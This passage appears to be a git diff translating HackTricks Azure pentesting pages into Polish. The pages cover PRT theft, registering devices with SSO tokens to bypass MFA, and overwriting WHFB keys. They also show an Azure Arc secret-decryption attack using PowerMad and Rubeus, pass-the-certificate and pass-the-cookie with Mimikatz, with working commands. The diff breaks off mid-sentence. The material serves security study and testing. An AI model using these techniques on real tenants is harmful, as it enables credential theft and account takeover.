klucza transportowego) i jest **potrzebny do użycia PRT.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +Aby uzyskać więcej informacji na temat tego, czym jest PRT, sprawdź: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +**TPM** **chroni** przed **ekstrakcją** kluczy z wyłączonego urządzenia (jeśli jest chronione PIN-em) oraz przed wydobywaniem prywatnych materiałów z warstwy systemu operacyjnego.\ +Jednak **nie chroni** przed **podsłuchiwaniem** fizycznego połączenia między TPM a CPU lub **używaniem materiałów kryptograficznych** w TPM, gdy system działa z procesu z prawami **SYSTEM**. -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Jeśli sprawdzisz następującą stronę, zobaczysz, że **kradzież PRT** może być użyta do uzyskania dostępu jako **użytkownik**, co jest świetne, ponieważ **PRT znajduje się na urządzeniach**, więc może być skradziony z nich (lub jeśli nie zostanie skradziony, nadużyty do generowania nowych kluczy podpisujących): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## Rejestracja urządzenia z tokenami SSO +Możliwe byłoby, aby atakujący zażądał tokena dla usługi rejestracji urządzeń Microsoft z kompromitowanego urządzenia i zarejestrował je: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Który da ci **certyfikat, którego możesz użyć do żądania PRT w przyszłości**. Dlatego utrzymując trwałość i **omijając MFA**, ponieważ oryginalny token PRT użyty do rejestracji nowego urządzenia **już miał przyznane uprawnienia MFA**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Zauważ, że aby przeprowadzić ten atak, będziesz potrzebować uprawnień do **rejestrowania nowych urządzeń**. Ponadto rejestracja urządzenia nie oznacza, że urządzenie będzie **dopuszczone do rejestracji w Intune**. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Ten atak został naprawiony we wrześniu 2021 roku, ponieważ nie można już rejestrować nowych urządzeń za pomocą tokenów SSO. Jednak nadal możliwe jest rejestrowanie urządzeń w sposób legalny (posiadając nazwę użytkownika, hasło i MFA, jeśli to konieczne). Sprawdź: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Nadpisywanie biletu urządzenia -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +Możliwe było **zażądanie biletu urządzenia**, **nadpisanie** aktualnego biletu urządzenia i podczas tego procesu **ukraść PRT** (więc nie ma potrzeby kradzenia go z TPM. Więcej informacji [**sprawdź tę prezentację**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> Jednak to zostało naprawione. -## Overwrite WHFB key +## Nadpisz klucz WHFB -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Sprawdź oryginalne slajdy tutaj**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Podsumowanie ataku: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- Możliwe jest **nadpisanie** **zarejestrowanego klucza WHFB** z **urządzenia** za pomocą SSO +- To **łama ochronę TPM**, ponieważ klucz jest **przechwytywany podczas generowania** nowego klucza +- To również zapewnia **trwałość**
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +Użytkownicy mogą modyfikować swoją własną właściwość searchableDeviceKey za pomocą Azure AD Graph, jednak atakujący musi mieć urządzenie w dzierżawie (zarejestrowane na bieżąco lub mające skradziony certyfikat + klucz z legalnego urządzenia) oraz ważny token dostępu do AAD Graph. +Następnie możliwe jest wygenerowanie nowego klucza za pomocą: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +a następnie PATCH informacje o searchableDeviceKey:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +Możliwe jest uzyskanie tokena dostępu od użytkownika za pomocą **phishingu kodu urządzenia** i nadużycie wcześniejszych kroków, aby **ukraść jego dostęp**. Aby uzyskać więcej informacji, sprawdź: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -107,7 +101,3 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..a62b30000 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,11 +1,11 @@ -# Az - Enumeration Tools +# Az - Narzędzia do enumeracji {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Zainstaluj PowerShell w Linuxie > [!TIP] -> In linux you will need to install PowerShell Core: +> W Linuxie musisz zainstalować PowerShell Core: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # Zaktualizuj repozytoria > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # Zainstaluj i uruchom powershell > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## Zainstaluj PowerShell w MacOS -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +Instrukcje z [**dokumentacji**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +1. Zainstaluj `brew`, jeśli jeszcze nie jest zainstalowane: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. Zainstaluj najnowszą stabilną wersję PowerShell: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. Uruchom PowerShell: ```sh pwsh ``` - -4. Update: - +4. Aktualizacja: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## Główne narzędzia do enumeracji ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) to narzędzie wieloplatformowe napisane w Pythonie do zarządzania i administrowania (większością) zasobów Azure i Entra ID. Łączy się z Azure i wykonuje polecenia administracyjne za pomocą wiersza poleceń lub skryptów. -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Polecenia w Azure CLI są zbudowane według wzoru: `az ` #### Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Używając parametru **`--debug`**, można zobaczyć wszystkie żądania, które narzędzie **`az`** wysyła: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Aby przeprowadzić **MitM** na narzędziu i **ręcznie sprawdzić wszystkie żądania**, które wysyła, możesz zrobić: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell to moduł z cmdletami do zarządzania zasobami Azure bezpośrednio z linii poleceń PowerShell. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Polecenia w module Azure PowerShell AZ są zbudowane w następujący sposób: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Używając parametru **`-Debug`**, można zobaczyć wszystkie żądania, które narzędzie wysyła: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Aby przeprowadzić **MitM** na narzędziu i **ręcznie sprawdzić wszystkie żądania**, które wysyła, możesz ustawić zmienne środowiskowe `HTTPS_PROXY` i `HTTP_PROXY` zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell to wieloplatformowe SDK, które umożliwia dostęp do wszystkich interfejsów API Microsoft Graph, w tym usług takich jak SharePoint, Exchange i Outlook, za pomocą jednego punktu końcowego. Obsługuje PowerShell 7+, nowoczesne uwierzytelnianie za pomocą MSAL, tożsamości zewnętrzne i zaawansowane zapytania. Skupiając się na dostępie z minimalnymi uprawnieniami, zapewnia bezpieczne operacje i regularnie otrzymuje aktualizacje, aby dostosować się do najnowszych funkcji interfejsu API Microsoft Graph. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Polecenia w Microsoft Graph PowerShell są zbudowane w następujący sposób: `-Mg ` -#### Debug Microsoft Graph PowerShell - -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +#### Debugowanie Microsoft Graph PowerShell +Używając parametru **`-Debug`**, możliwe jest zobaczenie wszystkich żądań, które narzędzie wysyła: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +Moduł Azure Active Directory (AD), teraz **wycofany**, jest częścią Azure PowerShell do zarządzania zasobami Azure AD. Oferuje cmdlety do zadań takich jak zarządzanie użytkownikami, grupami i rejestracjami aplikacji w Entra ID. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Został zastąpiony przez Microsoft Graph PowerShell +Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..c72e23054 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,17 +4,16 @@ ### Identifying the Issues -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc umożliwia integrację nowych wewnętrznych serwerów (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft dostarcza zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 i AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Tworzy GPO Onboarding Serwerów Azure Arc w lokalnej domenie. +2. Kopiuje skrypt onboardingu EnableAzureArc.ps1 do wyznaczonego udziału sieciowego utworzonego na potrzeby procesu onboardingu, który zawiera również pakiet instalacyjny Windows. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Dodatkowo wymaga innych parametrów, takich jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu. +Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskriptor składa się z SID-ów grupy Komputerów Domenowych i Kontrolerów Domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Mamy następujące warunki: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. Sukcesywnie przeniknęliśmy do wewnętrznej sieci. +2. Mamy zdolność do tworzenia lub przejmowania kontroli nad kontem komputera w Active Directory. +3. Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy. +Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęstszych jest wykorzystanie kwoty konta maszyny. Inną metodą jest kompromitacja konta maszyny poprzez podatne ACL lub różne inne błędne konfiguracje. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Gdy uzyskamy konto maszyny, możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Mając TGT dla naszego konta komputera przechowywane w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Alternatywnie, możemy użyć [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). - -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. +W tym momencie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym folderze co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal. ## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..9708c809a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,42 +2,38 @@ {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Lokalne przechowywanie tokenów i rozważania dotyczące bezpieczeństwa -### Azure CLI (Command-Line Interface) +### Azure CLI (Interfejs wiersza poleceń) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Tokeny i dane wrażliwe są przechowywane lokalnie przez Azure CLI, co budzi obawy dotyczące bezpieczeństwa: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Tokeny dostępu**: Przechowywane w formacie tekstowym w `accessTokens.json` znajdującym się w `C:\Users\\.Azure`. +2. **Informacje o subskrypcji**: `azureProfile.json`, w tym samym katalogu, zawiera szczegóły subskrypcji. +3. **Pliki dziennika**: Folder `ErrorRecords` w `.azure` może zawierać logi z ujawnionymi poświadczeniami, takie jak: +- Wykonane polecenia z osadzonymi poświadczeniami. +- Adresy URL uzyskane za pomocą tokenów, potencjalnie ujawniające wrażliwe informacje. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell również przechowuje tokeny i dane wrażliwe, które można uzyskać lokalnie: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Tokeny dostępu**: `TokenCache.dat`, znajdujący się w `C:\Users\\.Azure`, przechowuje tokeny dostępu w formacie tekstowym. +2. **Sekrety usługi principal**: Są przechowywane w formacie niezaszyfrowanym w `AzureRmContext.json`. +3. **Funkcja zapisywania tokenów**: Użytkownicy mają możliwość utrwalania tokenów za pomocą polecenia `Save-AzContext`, które powinno być używane ostrożnie, aby zapobiec nieautoryzowanemu dostępowi. -## Automatic Tools to find them +## Automatyczne narzędzia do ich znajdowania - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Rekomendacje dotyczące bezpieczeństwa -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Biorąc pod uwagę przechowywanie danych wrażliwych w formacie tekstowym, kluczowe jest zabezpieczenie tych plików i katalogów poprzez: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Ograniczenie praw dostępu do tych plików. +- Regularne monitorowanie i audytowanie tych katalogów w celu wykrycia nieautoryzowanego dostępu lub nieoczekiwanych zmian. +- Wykorzystanie szyfrowania dla wrażliwych plików, gdzie to możliwe. +- Edukowanie użytkowników o ryzyku i najlepszych praktykach dotyczących obsługi takich wrażliwych informacji. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..3032ff450 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +W maszynach dołączonych do Azure możliwe jest uwierzytelnienie z jednej maszyny na drugą za pomocą certyfikatów, które **muszą być wydane przez Azure AD CA** dla wymaganego użytkownika (jako podmiot), gdy obie maszyny obsługują mechanizm uwierzytelniania **NegoEx**. -In super simplified terms: +W super uproszczonych słowach: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- Maszyna (klient) inicjująca połączenie **potrzebuje certyfikatu z Azure AD dla użytkownika**. +- Klient tworzy nagłówek JSON Web Token (JWT) zawierający PRT i inne szczegóły, podpisuje go za pomocą klucza pochodnego (używając klucza sesji i kontekstu bezpieczeństwa) i **wysyła go do Azure AD**. +- Azure AD weryfikuje podpis JWT za pomocą klucza sesji klienta i kontekstu bezpieczeństwa, sprawdza ważność PRT i **odpowiada** certyfikatem. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +W tym scenariuszu, po zebraniu wszystkich informacji potrzebnych do ataku [**Pass the PRT**](pass-the-prt.md): -- Username -- Tenant ID +- Nazwa użytkownika +- ID najemcy - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Kontekst bezpieczeństwa +- Klucz pochodny +Możliwe jest **zażądanie certyfikatu P2P** dla użytkownika za pomocą narzędzia [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Certyfikaty będą ważne tak samo jak PRT. Aby użyć certyfikatu, możesz skorzystać z narzędzia python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), które **uwierzytelni** się na zdalnej maszynie, uruchomi **PSEXEC** i **otworzy CMD** na maszynie ofiary. To pozwoli nam ponownie użyć Mimikatz, aby uzyskać PRT innego użytkownika. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` - ## References -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Aby uzyskać więcej informacji na temat działania Pass the Certificate, sprawdź oryginalny post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..2f62bf4a7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## Dlaczego ciasteczka? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +Ciasteczka **przeglądarki** to doskonały mechanizm do **obejścia uwierzytelniania i MFA**. Ponieważ użytkownik już uwierzytelnił się w aplikacji, **ciasteczko** sesji może być użyte do **dostępu do danych** jako ten użytkownik, bez potrzeby ponownego uwierzytelniania. -You can see where are **browser cookies located** in: +Możesz zobaczyć, gdzie znajdują się **ciasteczka przeglądarki** w: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Atak -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +Wyzwanie polega na tym, że te **ciasteczka są szyfrowane** dla **użytkownika** za pomocą Microsoft Data Protection API (**DPAPI**). Jest to szyfrowane za pomocą kryptograficznych [kluczy powiązanych z użytkownikiem](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), do którego należą ciasteczka. Więcej informacji na ten temat znajdziesz w: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +Mając Mimikatz w ręku, mogę **wyodrębnić ciasteczka użytkownika**, nawet 